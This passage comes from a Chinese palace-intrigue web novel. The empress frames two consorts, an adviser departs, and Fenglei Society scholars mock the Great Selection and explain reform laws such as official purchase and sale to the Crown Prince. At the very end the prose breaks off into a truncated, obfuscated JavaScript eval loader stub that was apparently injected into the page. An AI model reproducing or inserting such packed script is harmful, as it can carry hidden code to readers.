胡奉玄喊的那句“谋杀亲夫”,叫刘府丞听到,又成为殊贵妃通奸的一个证据。自然,胡奉玄也可能“死”前不说出殊贵妃,但宝涵上元酆帝面前“招供”一番,接着再拉“侥幸不死”的胡奉玄来说一回,也足够让殊贵妃狡辩不成了——虽说宝涵作的是伪证,但殊贵妃的确干了坏事,也不算冤枉她。 符雅听了这些,不禁一阵胆寒:人说机关算尽太聪明,反误了自家性命。但皇后算计得滴水不漏,什么人能从她手里逃出一条命来?而最叫她害怕的是,通常玩阴谋玩得十分高明的人,事后也不会把计划说给别人知晓,而皇后就这么娓娓道来,并不是沾沾自喜,得意忘形,而是散发出威慑力,仿佛在说:这种雕虫小技,就是说给你知道也无妨,你若是将来做出什么对不起我的事,我要治你,还是易如反掌。 符雅浑身一阵阵地发冷:从始至终,皇后早就把她算计上了。为了韩国夫人的事,为了她是当年在韩国夫人身边的人……宫里对此事有什么传闻呢?她那天回答皇后说“不知道”,是撒谎的。宫里都传,是皇后害死了自己的姐姐,又把所有可能知情的人灭了口。当然,没有任何人有证据。以今日皇后的手段看来,让人抓不着证据并非难事,只是又为什么会害死自己的姐姐呢?毫无道理啊! 这并不是会议往事的时候。“现在康王爷派人去搜景阳宫和三清殿,要是搜不出什么,单凭殊贵妃和胡奉玄的话,皇上不一定就信吧?”她问。 皇后笑了笑:“怎么会搜不出来呢?浣衣局的小红是干什么的?” 符雅一愣:啊!找几件此人的衣服放到彼人的房间里去,宫里污人通奸最常用就是这个办法。加上先前殊贵妃和胡奉玄的话,再立刻找个太医来验明“假孕”——丽贵妃和妖道胡喆这次难逃法网! 皇后知她聪颖,一点就透,便也不多说。两人到了养心殿,果然宗人府已经从三清殿里搜查出丽贵妃的衣服来了。 然后一切就交由皇后按规矩处理,康亲王执掌宗族家法,一条条说,皇后就一条条懿旨地发下来——元酆帝既恼火又觉得失面子,早就到淑嫔的宫里去了。 符雅看康亲王和皇后配合得这样好——或者不如说,仔细想想这经过,康亲王可是这计划的支柱,他为何要这样帮皇后的忙? 这个迷团皇后没解释,但事情全都办妥当了,送康亲王回宫时,两人随意地说了几句话,符雅就恍然明白—— “王爷的外孙女儿几时有功夫进宫来?”皇后道,“太子最近天天忙于政务,也该和同龄的孩子一起玩玩了。” 康亲王笑道:“不如就明天吧,晚了她母亲要接她回去——下个月过十六生日了。” 皇后道:“哎呀,我们竣熙也是下个月的生日。叫她进宫来,一起过了多热闹!” “皇后下了懿旨,我女儿能说什么?恭敬不如从命啦!” 两人相视呵呵笑了起来。 符雅才明白,想是皇后以联姻为条件吧。康亲王的外孙女儿,那是怎样的身份?可怜的凤凰儿要怎么办呢? 宫里有这么一场精心策划的大行动,宫外的程亦风却丝毫不知。只晓得符雅办事妥当,皇后处理家丑雷厉风行——白云观早被抄了,丽、殊二妃都莫名其妙地身染奇疾,暴毙宫中,至于胡喆和胡奉玄,就像真的有法术能土遁似的,突然间消失得无影无踪。他实在没有想到事情能办得这样迅速,这样顺利。唯一别扭的是,斗法大会还是照常举行——也许是为了照顾元酆帝的面子吧,毕竟一国之君不能向天下承认自己做了糊涂事。这斗法大会上胜出的道士名叫孙静显,元酆帝封他为“飘然真君”,将三清殿改名“飘然宫”,让孙静显继续协助自己修道为自己炼丹,不亦乐乎。 程亦风想向符雅登门致谢,却又怕人闲话,只得先写了一封信去,问她可愿赏光,自己可略置薄酒,以表谢意。符雅回说“不得闲”,但是解释了孙静显的事——乃是皇后知道元酆帝离不了黄老之术,特特找来顶替胡喆的。符雅信里并没有说,其实这个人皇后早就找好了,专门等找着机会除掉胡喆,就把自己的人顶上去。程亦风当然也不会去好奇这些,因为孙静显虽然也是道士,却不知何元酆帝说了什么奥义,元酆帝正式地恢复了竣熙监国的身份,所以大青河的善后终于可以妥善进行。 遵照诺言,公孙天成提出了几条建议——首先,必须承认大青河之战楚国取得了全面的胜利,其次,要对战役中一切有功之人进行嘉奖,第三,才是派遣官员要求和樾国议和立约。前两条要先做,因为这两条必然能做到,一旦做到了,就鼓舞了国内的士气,也震慑了敌人。而第三条,在拖延了这么久之后,能够取得实质好处的可能性不大,可以姑且一试,所谓“漫天要价,做地还钱”,楚国最不济也可以要求交换俘虏,这样显得楚国乃是天朝大国礼仪之邦,将人命看得很重,各国的难民与有识之士都会来到楚国,一同抗击樾寇。 “至于其他的条件,”公孙天成道,“割地还是赔款,都留着兵部和礼部去商量吧。” 程亦风和竣熙都觉得有理。竣熙又道:“议和大臣,公孙先生心目中可有人选么?” “老朽不是朝廷的官员,也不熟悉朝廷的官员。”公孙天成道,“只能建议太子殿下挑一个耐心足够好,脸皮足够厚,胆子又足够大的,这样才可以和樾人慢慢交涉。” “这样的人……”竣熙皱着眉头——程亦风知道他在想什么——文武百官,胆子大的,往往耐心不好,譬如司马非,而耐心好的,往往脸皮又不够厚,譬如臧天任。要三样俱全,实在困难。 不过总能找到的,程亦风想。“殿下放心,臣会到吏部去问问,请他们推荐。” “不过说道在朝廷中的官员……”公孙天成道,“冷将军、向将军那一行人究竟还要在京城养病养多久呢?如果他们不愿回到驻地,索性就提拔他人好了——程大人以为呢?” 可不如此?程亦风想,且不说大青河几大重镇没有统帅,单是把这一党的人留在京城兴风作浪就已经够叫人头疼的了。不过,找人取代他们估计是不可能的——那还不闹得翻了天?因道:“既然要议和,还是让冷将军等人早日回驻地的好,也有威慑樾人的作用嘛。” 正事没多久就商议完毕,竣熙因为要去见皇后的缘故,不便留程亦风好公孙天成在东宫长谈。日头还当空,两人就已经退出了宫来。 是万里无云的好天气,向来各个宫房都把鸟儿那出来挂在屋檐下,它们隔着高墙呼朋引伴地歌唱,禁宫里悦耳的歌谣。程亦风听着,又眯起眼睛欣赏洒在步道上的阳光,仿佛是有形的,金灿灿地可爱。 似乎妖道除去之后,把阻塞人思路的一块大石头也除掉了,事情可以按照规矩一步一步地计划,一步一步地实施,瘴气散去,眼前一片清明。心情自然也大好:“先生想,这议和的决定传到了平崖,司马将军会有何反应呢?他恐怕还是希望北伐多过议和的吧?尤其,倘若樾人拒绝议和,司马将军肯定会重提北伐之事,这要如何劝服他才好呢?” 并没有听到公孙天成的回答。而实际上程亦风也只是自己顺着思路说出可能的难处而已。他就接着道:“冷将军他们大约也是会主张北伐的——毕竟他们本是主战派嘛。他们回到了驻地,不知又会暗地里搞些什么名堂……实在……” 他把顾虑一条一条地说出来,从议和的事,一直到其他一些在靖武殿上一轮的话题。这样不知不觉就已经到了宫门口。稍停了停脚步,才猛然发觉公孙天成从始至终一言未发。他不禁扭头望了老先生一眼:“先生莫非是疲乏了么?晚生只顾着自己说话——先生若是乏了,就不必来晚生府里议事了,回去休息吧。” 公孙天成向他深深一揖:“是。” 见老先生突然行此大礼,程亦风吃了一惊,连忙伸手来扶:“先生这是做什么?” 公孙天成直起了身:“老朽本来今天就没有打算去大人府里议事。之前大人的种种问题,老朽也是故意不回答的。” “为什么?”程亦风摸不着头脑。 公孙天成满是皱纹的脸上显出一丝笑意,不知是嘲讽还是无奈:“大人忘记了么?你我宾主缘分已尽——在平崖城就已经结束,是老朽答应大人要除掉胡喆并且完成大青河的善后。如今这两样都已经办好,不论老朽出了多少力,总是办妥了吧?所以,是我和大人分别的时候了。” 当时内忧外患,听到公孙天成要自己造反,程亦风怎能不气?现在内外都暂时安定了下来,他倒几乎不记得自己和公孙天成割席断交的事了。怔了怔,才道:“先生,这还没有解决呢……刚才晚生不是还问了许多问题吗?其实如今太子监国,必然会政通人和,也不需要先生之前说的那些……那些……” “那些大逆不道的方法?”公孙天成脸上的笑容更深,却也更难以解读出其中的意思。“如果政通人和,大人怎么会有先前的那些难处呢?楚国就好像一个得了重病因而满身都是脓血的人,太子监国,无非是这个人的心智还清醒。但是如果不能把满身的脓血都洗出来,换上新的血液,这个人还是必死无疑的。” “先生……”程亦风愣愣地看着公孙天成。 “大人想要每天用一种不同的药来维持这个病人的生命,老朽却认为除非换血,否则神仙也难救。”公孙天成道,“究竟是大人对,还是老朽对,无法预言,只有将来回头看才能明白。不过,若道不同,自然不相为谋了。大人说是不是?” 程亦风不能否认——本来这句话应该是他来说,毕竟他是“忠臣”是拒绝造反的那一个人,理应说着大义凛然的话。然而竟从公孙天成的口中吐了出来,使得他的心中一阵惶惑:是、非,难道界限也不是那么清楚的么?但这个念头只是一闪,他很快又坚定了自己的信念:无论如何,生是楚国的人,死是楚国的鬼,不管这官位是否继续坐下去,他不能做那“换血”的事! “先生要走,晚生也无法强留。”他道,“不过,能不能让晚生略备薄酒,为先生践行呢?” 公孙天成似乎本意要拒绝,不过想了想,又点头道:“好吧。不过老朽这两天想先去拜祭一位故人,就在京城附近。待老朽回来了,再正式和大人告别吧!” 35. 第 35 章 程亦风没有时间感慨自己和公孙天成的分别。会同兵部、礼部商议对樾和谈的条件,同时也要对付冷千山一党,以及思考应付司马非火爆脾气的办法,当然,还要去吏部询问是否有那“耐心够好,脸皮够厚,胆子够大”的官员可以做和谈的使节。这个问题跟吏部尚书谈起来简直是白搭——吏部尚书名叫王致和,乃是一个出了名的坏脾气,加之最近又赶上了吏部“大挑”的时候,正忙得不可开交,于是见到程亦风上门就火冒三丈:“你等大挑之后再来吧——挑的时候我会叫他们给你留意的。” 大挑能挑出什么人来?程亦风忿忿地想——原来楚国虽说是科举取仕,但内中的门道却远不止做八股文章这么简单,有时能否考中全看名字取得是否吉利,有时又专看人“馆阁体”书法写得如何。这“大挑”所注重的却是人的长相,有“同田贯日身甲气由”八字诀。其中前四个字指的是面庞端方,身量或直长,或胖瘦高矮适中。符合这四个字的,可以中选。而后四个字则指人身体歪斜不正,头大身小,或头小身大,以及一肩高耸。若沾上了这四个字,则一定落选。本来“大挑”是为了给会试三科不中者一个机会,但渐渐就演变成了贪污纳贿以权谋私的好差事——某举人挑中与否,全凭大挑官员一句话,自然是谁送的银子多谁就挑中了。 程亦风对此积弊深恶痛绝,但是要务缠身,没功夫样样都管——公孙天成说的没错,楚国已经是病入膏肓了! 倒不如我从别处另想办法,他暗道,也许兵部和礼部就有现成的人才呢? 这样耽搁了几日,眼见已经是六月中,却没有什么成效。这天接到太子急诏,估计是要问及此事,他一路进宫,一路就埋怨自己没用——除了会说漂亮话,还能干什么呢? 进宫必经吏部门前。平日这条路就很热闹——外省来述职的官员,来拍马屁的官员,来套关系托人情的官员,还有京城外放的官员,在这里或笑脸相迎或口蜜腹剑,华车宝马交相辉映,看尽官场百态。 今天吏部门前比平日的人还要多。以程亦风的性子,热闹之事最好还是避而远之,可偏偏吏部门前这条路是进宫所必由,他只得硬着头皮叫人上前开路。他的轿夫们既不敢口出恶言,又不敢以拳脚驱散群众,未多一刻,程亦风就陷在人群中寸步难移了。他只有选择自己下来步行。 人群中有人认出了他:“哎呀,程大学士!你且来看看这个!”不待他反应过来,已经被拥到了圈内,看到有二十来个形容古怪之人列队而立,而吏部衙门则大门紧闭,门前两站岗的兵丁,拼命忍住,才不会笑出声来。 程亦风奇道:“这是做什么?” 旁边有人道:“大人不知么?今日乃是吏部‘大挑’之日,这些读书人专程来给大挑的老爷们找麻烦呢!” 哦,竟是如此!程亦风恍然大悟。他望望场中那二十余人,个个都鸡胸驼背歪脖跛脚,有的人头上戴顶巨冠以示头大身小,有的则脚踩高跷装成身量过长,有人面上贴了三五个狗皮膏药,有人则在太阳穴上粘了一撮老鼠须……一望而知,这些人本来并不丑陋,就是特特扮成这模样来捣乱的。 为首一个扮成独眼的想周遭围观的抱了个团揖,道:“诸位莫看小生模样丑怪,你们可知小生长得似谁么?” 众人都起哄道:“谁?” 这人道:“神宗朝的信阳太守孙谦民。” 众人爆笑道:“孙太守可是有名的‘孙青天’,你指望就你这德行?” 这独眼的微微一笑:“诸位有所不知,孙太守当年也参加过大挑县令。跪还没跪稳,就被吏部尚书喝了一声‘孙谦民起去’,便赶了出来。后来他又寒窗数载,终于考中。在信阳他给神宗爷写过一份折子,就提到过‘孙谦民其貌不扬,而雄心万丈’,以记述当年大挑之辱。” 不错,程亦风在《信阳志》中读到过。他当年进京赶考时经过信阳,在孙谦民墓上也看到这句话。人,如何可以貌相呢? 独眼的说罢,旁边又一个奇丑无比的人走了上来,道:“诸位再看看我像谁?” 程亦风看他八字眉一边高一边低,三角小眼,正可用“獐头鼠目”来形容。围观的人中一阵窃笑。 那人道:“嘿,你们别乐得太早!可知道英宗朝的曹维德么?虽然他没有什么作为,那总算是个五品官。据说当初他来大挑,吏部尚书正要将他赶出去,而负责大挑的晋王爷就发话了。他说,此人长得如此丑陋也敢来参加大挑,勇气非凡,一定得留下。依此看,你们怎知我今天挑不上?” 人群之中又爆发出一阵狂笑。程亦风也忍俊不禁,但又感到一阵悲哀。 场中诸人不时又讲了好几个跟大挑有关的奇闻逸事,将这弊政讽刺得体无完肤。围观的都议论纷纷:“照此下去,今天又不晓得挑出些什么人来!” 正闹着,听到一阵锣鼓开道以及吆喝的“回避”之声,乃是吏部尚书的轿子到了。戏演到这里才算是高潮,围观的赶忙给尚书大人让路,瞧瞧他怎样应对这局面。 轿子到了跟前,就被这二十来个闹事的人给拦住了。王致和发了很大的火:“哪里来的刁民,竟敢在此生事?” 为首那独眼的道:“大人,我等不是刁民。我等都是有功名的。今日特来参加大挑。在下自认长得像神宗朝的孙谦民孙青天,而这位兄弟就长得好像英宗朝的曹维德,还有这一位……这一位……跟这一位……”他一路指下去,将各人所扮之人都介绍了一回,道:“王大人能不能将我等都挑上?” 王致和怒道:“胡说八道!官员乃是朝廷的脸面,你们一个贼眉鼠眼形容猥琐,让你们到地方上,岂不是把朝廷的脸都丢尽了?你们速速散去,否则本官可要叫顺天府来捉拿你们了!” 那独眼的却并没有被他吓住,道:“照大人的说法,一个人若不生得仪表堂堂就不能为朝廷做事了?那请大人看看这位兄台长得像谁。”说时,示意那二十来个人散开,便有一个干瘦的老头子颤巍巍走到了王致和的跟前,眼睛眯缝着,仿佛长年没有睡醒,满面都是黄褐色的斑点,想要作个揖,手却颤得怎么也握不到一块儿去。 围观的人都纳闷:这是谁?而程亦枫却认得,这正是几个月前还没有吃仙丹的元酆帝。王致和当然也认得出,面色立刻就变了,怒斥道:“你们这是反了么?来人,还不给我拿下!” 门前站岗的只两个兵丁,看这里二十多个人,怎么“拿下”? 王致和怒道:“还不去叫顺天府来?这里出了乱党了!” 兵丁应声而去,围观的也有不少怕事的,急匆匆都散了。可那二十多个人却全无惧色。假扮元酆帝的那人直起了身子,郎声道:“针砭时弊就是乱党?朝会之上无人敢谏,市井之中无人敢言,言路不开,奸臣当道,自古国家之覆亡多始于此。” “你……你……你……”王致和指着这人,怒不可遏,“你说老夫是奸臣么?” 那人道:“学生并无此意。学生知道王大人忠君爱民且爱才惜才,所以才斗胆到吏部来陈述‘大挑’的弊端。请大人奏请皇上,废除‘大挑’。”说着,他就直挺挺地跪了下来。 那二十余人也都跟着下跪:“请大人奏请皇上,废除‘大挑’。” “你们……”王致和气得打颤,“你们是哪里来的一群书呆子,不好好地读书备考,却在这里胡闹!你们……” 这时围观的人也跑得差不多了,只有程亦风还站着没动。王致和一眼看到他了,即大叫了一声“好哇”,走上前来指着他的鼻子道:“程亦风,原来是你在捣鬼。我说了大挑之后就帮你找议和的人选——我王某人士言出必行的,你如何要来给我捣乱?” “我……”程亦风有口难辩。 而那二十来个跪着的人一听他的名号,都转过了身来:“程大人!是程大人!我们是风雷社的士子呀!” 啊,风雷社!程亦风想起来了,不就是那个设立义学讲习兵法的学社么?早先劝他们不要醉心杀伐之事,要好好务本读书,不料他们又想出新的花样来! “好你个程亦风!”王致和道,“如今你想要狡赖也不成了吧?你弄了这批不学无术之人到我衙门口来闹事,简直可恶至极!” “我……”程亦风实想解释,但是恐怕越描越黑。 王致和还骂:“程亦风,你别想敷衍了事。你以为你打了两场仗,得了太子殿下的赏识,满朝文武你就都可以不用放进眼里去了是不是?你若是觉得你比我王某人更会管理吏部,那咱们现在就去太子面前把话说清楚,我这吏部尚书的位子就让贤!” 他连珠炮似的指责终于暂时停下,程亦风才得了机会摇手辩驳:“王大人误会了。程某也只是路经此地,偶然看到了方才这一幕,决无有干涉吏部公务的意思。而程某相信这些士子,也不过是一时心急才出此下策,决非有心闹事,更非谋逆造反,请王大人让他们散去,就不要再追究了吧。” 王致和道:“岂有此理!我若找了一群人到你兵部门前生事,你追不追究?总之今日,我一定要可你到太子面前评评理!” 说时就来拉了程亦风的袖子,要往皇宫去。 风雷社的士子们见状,都道:“此事的确与程大人无关。学生们自来请愿,要关要杀,自由学生们承担!但‘大挑’一举祸国殃民,请王大人一定奏明皇上,废止大挑!” 二十来个人黑压压地跪着,挡住了王致和的去路。王致和气得眉毛倒竖:“这……这不是造反还是什么?顺天府的人呢?” 才说着,那边官兵已到了,想是恰巧撞上了顺天府巡逻的队伍,否则不会这么及时。 自然是上来就锁拿风雷社的士子们。年轻人们都毫无惧色,一副慨然赴死的表情。程亦风却急了——方才他们假扮元酆帝,滋事可大可小,万一真被安上谋反的罪名,那就神仙也难救。他忙对王致和道:“王大人,都是年轻人不懂事,何必如此认真?” 王致和冷笑:“他们是年轻人不懂事,你程大人总懂事吧?先跟我到太子殿下跟前去说个清楚!” 程亦风反正是要进宫的,只不过现在是被王致和一路拽到了东宫。 竣熙正由凤凰儿陪着在院子里散步,听到外面报吏部尚书、兵部尚书求见,便先急忙叫凤凰儿躲回后殿去,自己到书房升座接见。 王致和是脸也气得发绿了,抢先把吏部门前的一幕叙述了一番:“程大人纠集士子在我吏部门前闹事,朝廷颜面何存?请太子殿下明鉴。” 峻熙皱了皱眉头:“聚众闹事,这并不像是程大人的作风。程大人,这些闹事的士子你可认识么?” 程亦风也不能说不认识,只好照实回答:“回殿下,这些请愿的士子乃是风雷社的成员,臣与他们有过一面之缘。” “啊,风雷社!”竣熙的脸上突然放出了光彩,“他们现在何处?” “恐怕……”程亦风道,“在顺天府的大牢里。” 竣熙登时从座位上跳了起来:“快,准备车马,我要去顺天府见他们……王大人,这聚众闹事一节,恐怕是个误会。若有得罪你的地方,我替他们先陪个不是了。” 王致和一愣一愣的,怒气更甚,却不能和太子发火,只好恶狠狠地瞪着程亦风。而后者也是莫名其妙。 竣熙道:“程大人,烦你也跟我走一趟。王大人,你可以回衙门办公了……啊,不,这大挑,我看今日就不用挑了。以后也许也不用挑了。” 王致和的下巴差点儿没掉到胸口上,又把眼来瞪程亦风。程亦风可真是冤枉至极:“太子殿下,为何要见风雷社的士子?” 竣熙道:“现在来不及说——车马备好了没?” 这才只是一眨巴眼睛的功夫,哪里就能准备好?太监们忙得四脚朝天,还得誊出功夫来自请死罪。 竣熙可等不及了,道:“那我先往宫门口走,你们备好了轿子就来追我——程大人,这个给你,边走边看!”说时,从桌上抓起一封奏折给程亦风。 程亦风真是越来越如坠云雾之中,接过奏章来扫了一眼,见抬头第一句就是“祖宗之法不可守”,没的吓了一跳,绊在了门槛上,差点儿没把官帽也摔掉了。他再看后面,论述到楚国自开国以来“承平既久,户口岁增,兵籍益广,吏员渐众”故尔“官吏之费,数倍于昔,百姓奢侈,亦过于前,则上下始困于财矣”。接着,又说“国之要者,理财为先,人才为本”,要“变法以求生存”——这分明是一篇要求改革的奏章啊! 赶紧追上竣熙:“殿下,这是……” 竣熙道:“你且看,是不是好文章?” 若说遣词造句,此文只是平平,然而,程亦风大略扫了扫,见其中有关于税收、供奉、徭役等多项旧法的批判,又提出了相应的新法。他的心便狂跳了起来,许久以来,几乎已经熄灭了的热情又在他心理悄悄燃起。看到结尾处看具名,写的是“京师风雷社士子”,以下有三十多个名字。 哎呀,这些年轻人!他京喜:人说江水滔滔,后浪推前浪,果然后生可畏! 竣熙道:“这份奏章,我已经看了百十回,越看越觉得这里头说的有道理。程大人,你以为如何?” 既然太子十分赞同这其中的说法,那便是变法有望了啊!程亦风心中不由狂喜,当下道:“臣以为,立法度,变民风,可富民,可强国。这些风雷社的士子不仅忧国忧民,更还有远见卓识,应当请他们入朝议政,协助殿下,革除积弊。” 竣熙道:“我也正是这样的想法。这篇奏章不足万言,许多地方我还看不太明白。我正要寻‘风雷社’问个清楚,未想今日就得这了机会!方才程大人说与他们有一面之缘,可知他们究竟都是哪里的高人?” 程亦风便略略将当日在义学里的事说了。 竣熙道:“这可真是有趣,原来他们还通晓兵法,有投笔从戎之志。但倘若他们还是潜心研究兵书战策,那朝廷可就不知何年何月才能见到这些新的政令了。算来程大人还有教导之功。” 程亦风连忙摇手:“当日劝服众士子的是臧天任大学士,程某不过是碰巧路过为朋友帮了几句腔而已。”他说时,心念又一动:臧兄亦有壮志,何不乘此向太子推荐?因道:“要说到臧大学士,对税制、吏制也颇有见地,太子若要变法,臧大学士是个不可多得的人才。” 竣熙跟臧天任并不熟悉,只知道是程亦风的好友,最亲近的交往也不过是年初赋迎春花诗的那一回。不过,他现在方看了风雷社士子的奏章,对新法充满了好奇与兴奋,一听到“对税制、吏制也颇有见地”,立刻就道:“那敢情好。咱们去见了风雷社的士子,然后再招臧大学士进宫来,看看这事究竟要怎么办!” 二人一行说,一行走,没多久,太监就把轿子抬了来,程亦风和竣熙各自上轿,出宫往顺天府。 一路上程亦风少不得又把那奏章细细看了一回愈看愈觉得这帮年轻人不简单,有些建议实在是精妙万分—— 比方“学田法”就建议朝廷在丈量地方土地的基础上,将没收充工的土地奖励给各地兴办义塾之人,义塾可募人耕种,所出勿须交税,田租尽为办学之用。 又比如“商办漕运法”,建议朝廷向全国征询货运行承办漕运,观其实力,比其信誉,再较之以价格,决定何人承办当年漕运。此举,旨在杜绝漕运官吏贪污,以及避免沿途与朝廷交恶之山贼水匪劫持官粮——须知那镳局和转运行为生意之故,早和一些山野草莽拉上了关系,缴纳了买路钱,运输之时,土匪听到此行镳号,即自动放行。又为避免一家商号垄断,天长日久滋生腐败,商家承办朝廷漕运只得三年,三年之后必须各家重新上报朝廷,再次择优取用。这一条建议就属于程亦风想也未想到的。他素知漕运是户部贪官眼睛盯紧不放的肥肉,但若叫他提改进之法,那只有狠抓贪污而已。似这样商办漕运,可就巧妙得多了——朝廷直接将每年运输的银子拿去交给信誉好又出价低的商家,便大大减少了户部插手的机会。而且,朝廷所出之银有定数,商家接朝廷的差事,为的多是名声,不过亦不肯折本,所以重金贿赂官员未免得不偿失,这便又减少了贪污的可能。如果再加上监察御史好生监督,以后这漕运恐怕能清廉好一阵子了! 还有些提议,如“官买法”和“官卖法”,程亦风也看得一知半解。想了一会没想通,暗道:还是去请教这些士子吧。 正思念间,便已经到了顺天府了。 府尹慌得手足无措,连忙引路到大牢,那风雷社的一群士子还未除下化妆呢,都是丑怪模样。他们都认得程亦风,见他来到,就有人道:“看,我说程大人自会搭救我们的吧!” 程亦风赶忙清了清嗓子:“这是当朝太子殿下,欣赏诸位的才华,特地来见你们的。” 众士子都是一惊,而竣熙已先迎了上去,一矮身钻进了牢房里,道:“各位写的变法奏章实在是字字珠玑,竣熙看得夜不能寐,真有相见恨晚之感。国家之兴亡恐怕就在这新法之上,各位都是我楚国未来的大功臣,请先受竣熙一拜!”说时,竟真的要躬身行礼。 诸位士子赶紧来拦:“太子殿下,这可使不得。所谓天下兴亡匹夫有责,我等也只是做了份内的事而已。” 竣熙也不顾还身在牢房之中,随便找了张茅草铺就坐了下来,道:“诸位快把你们这变法的设想详详细细地给我讲一回,我早都等不及了!” 众士子皆称“是”。为首那假扮独眼的,自我介绍说叫“高齐”先来说道:“奏章是草民执笔的。草民先来跟太子说个大概。”因讲:“草民等以为,眼下国之忧患有三:一,乃北方樾寇之威胁,二,乃朝廷官员之冗余,三,乃地方百姓之贫困。草民等原想,樾寇威胁乃的重中之重,应当先除外患,再图富强,是以弃圣人之书于不顾,研习兵法以求克制外敌。幸那日得程大人一语点醒迷津,我等方知本末倒置矣。若要攘外,必先安内,若要强兵,不可不富国,若我楚国百姓富裕加之兵强马壮,区区樾国蛮夷何足为惧?” 竣熙道:“樾寇猖狂,我楚人也不是任人欺侮之辈,总有程大人和各位将军守卫疆土。官员冗余这点,我自己已深有体会。我天朝以仁义治天下,对过往有功之人甚厚,以致于其子子孙孙旁支别系皆可荫封。而人有五子,子又各有五子,年复一年,自然越封越多。一个国家哪里有这么多实差需要他们来办?长年累月可不就成了空食俸禄之辈?一年也不知要吃掉朝廷多少俸银俸米。不过,这百姓穷困一条,诸位只提‘税收、徭役、豪强’,并未详谈,我就不甚明白了。我国征的是什一税,算不得重。至于徭役,古之各国亦有之,照样有昌平盛世。那豪强,若鱼肉乡里,官府能置之不理?” 依旧由高齐来说道:“草民愿为殿下解惑。”他从一张草铺上抽了把稻草,道:“好比今人秋收一石米,向官府须有交纳,而官府向朝廷又有供奉。虽然楚律是什一纳税,但地方供奉却并不顾念年成出产。若朝廷旨意说此地当供十石,丰年是十石,灾年亦是十石。地方供奉亦不顾念土地是肥沃或是贫瘠,鱼米之乡是十石,穷山恶水亦是十石。如此一来,生在贫瘠之处的农人一年实际交税远不址什一,若遇灾年,上缴十之七、八者亦有。长此以往,农人以何果腹?” 竣熙听了,沉默不语。 高齐将一把稻草抽出几跟放在一旁,算是交税,接着道:“百姓完了税,还要服徭役。我国徭役名目之众多,实在是前无古人。有修水利的,修官道的,有运输供奉的,输送军粮的,甚至还有打扫衙门的和协助征税的。朝廷有如许多的大小官员吃着俸禄且不来做这些事,却要百姓来白做,这是何道理?诚然,楚律有言,许出银赎役。然普通百姓哪里来赎役之钱?除非富家。一般小户,只得出丁去服役。可近年来与樾国征战不断,男丁不是战死,就是仍在军中,再要服役,便黄发垂髫亦不可安居乐业矣。小民不得已,倾家荡产筹资赎役,由是,由是贫者亦贫矣。” 高齐将稻草又放下几根,算是赎役钱,继续说下去:“小户农人向官府交了粮,再出了赎役钱,所剩之口粮已不够维持到次年收成之时。每到青黄不接或者大灾,家中常揭不开锅,唯有向大户借贷。而大户就乘机加高利息,少则三、四分利,多则五、六分利,到了灾荒年月,竟有十分利的。故尔是年秋收,众乡民除了要向大户偿还本利,还要向官府纳粮,如此一来,还有多少可以余下供自家果腹?到了次年,又得借贷,且往往愈借愈多,正是不胜其苦。” 他说至此,手中最后的稻草也放下了,两掌空空。 竣熙激动得“倏”地站了起来:“百姓艰难至此,官员们竟还能睡得着觉!旧制的确弊端太多,卿等说的新法,万言书中不甚详尽,我亦年幼学浅,许多枝节不能参透,可否请诸位也一一详述?” 众士子自然应“好”,便有人出来讲了“方田均税”、“农田水利”等诸法,和程亦风过往所总结的大同小异。每讲解一条,竣熙就认真地思考,并指出疑问,请教十分虚心,最后多表示赞同。 不多时,讲解到程亦风感兴趣的“官买法”和“官卖法”了。竣熙道:“我看那‘官买法’,说是变地方供奉为朝廷采买,不知究竟是怎么个原理?” 这次是那个假扮曹维德的人出来一礼,道:“草民文渊,祖辈世代经商。‘官买法’和‘官卖法’都是草民的浅见,愿为太子殿下解惑。” 大约的脸上的化装有些别扭,他伸手胡乱抹了抹,才接着道:“其实说也简单。草民的祖辈们经商都上那货源充足之地购买,价钱自然便宜。而两地储备相当时,又挑近处购买,则运资亦少。草民所说‘官买’是同样道理。朝廷每年可出一定数额的银钱和米粮,由采买官视地方情形,决定到何处购买。比如要大米,即到东部的平原,要茶叶,即到和西瑶交界的山区。如此一来,富裕之地,所出不至于浪费,贫穷之地,百姓不至于挨饿,正是两全齐美的做法。” “果然如此!”竣熙赞同,“那么这个‘官卖’又是如何?我只看到你建议朝廷收购市面上的货品,以十入,以十二出。这货品若原本只值十文,朝廷这样做,岂不是盘剥百姓?” 文渊道:“太子殿下说的不无道理。然而今十文之物,鲜有以十文卖出者。富商巨贾财力雄厚,有时在一物货源充足之时大量买进,囤积居奇,到了货源奇缺之时,就可哄抬物价,原本十文之物,往往卖十五文,有时甚至卖二、三十文。这些物品若是奢侈品也就罢了,但若是柴米油盐等必须之物,百姓就不得不按原价的两倍、三倍买入,当真苦不堪言!” “有这种奸商!”竣熙气得一拳狠狠砸在墙上,“你所知道在京城的,都有姓甚名谁?顺天府尹好生记下了,立刻就去拿人!” “殿下息怒。”文渊道,“商人重利,自古而然。便是臣的祖辈也在这一个‘利’字上孜孜以求,想方设法压低买价,提高卖价。殿下若要用严刑峻法来迫使商人放弃利益,恐怕我朝商贾十之七八要披枷戴锁,殿下的牢狱也关押不了那么多人。” 竣熙面上一红:“我年幼无知,叫你笑话了。” 文渊道:“岂敢,岂敢。草民向殿下献上的这条‘官卖法’正是专替朝廷解忧的。殿下请想,天子富有四方,世上的商贾任是王百万还是张千万,哪一个能富过天子,强过朝廷?如果朝廷能能以国库之资在货源充足之时买入物品,则可抑制奸商囤积,再于货源稀缺之时稍稍抬高价格卖出,又可制止哄抬,且朝廷又可从中获利,岂不两全其美?” “果然!”竣熙欣喜,“诸位大才,实在是国之栋梁啊!” 他本由衷赞叹。士子们倒显得不好意思了起来:“太子殿下赞这新法,新法当得起。不过赞草民等,草民就受之有愧了。” 竣熙道:“这是说的哪里话?” 高齐答他:“草民等不敢犯欺君之罪。新法奏章确系草民等所撰,但草民等参考借鉴了一位先辈,许多新法建议这位先辈多年前就提出过——若我等知其姓名,自然要将他列在诸人之前,只可惜……” 竣熙奇道:“我不明白。” 高齐道:“前年秋闱考策论,题目是一句话,云:‘以天下之力生天下之财,取天下之财供天下之费。’我等有几位学兄那年赴考,觉得此语十分有理,就作文赞同,结果纷纷落榜。后来他们几位同年的聚会一议论,发觉凡是作文批驳的都考中了,而凡是作文赞同的,全部名落孙山。大家觉得好是奇怪,便四处寻找此文的出处,终于在一本元酆十七年编的《时文策论选》中找到了,此文针砭时敝,倡导改革,实在是难得的佳作,但作者竟然是‘无名氏’。” “哦?”竣熙惊讶,“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 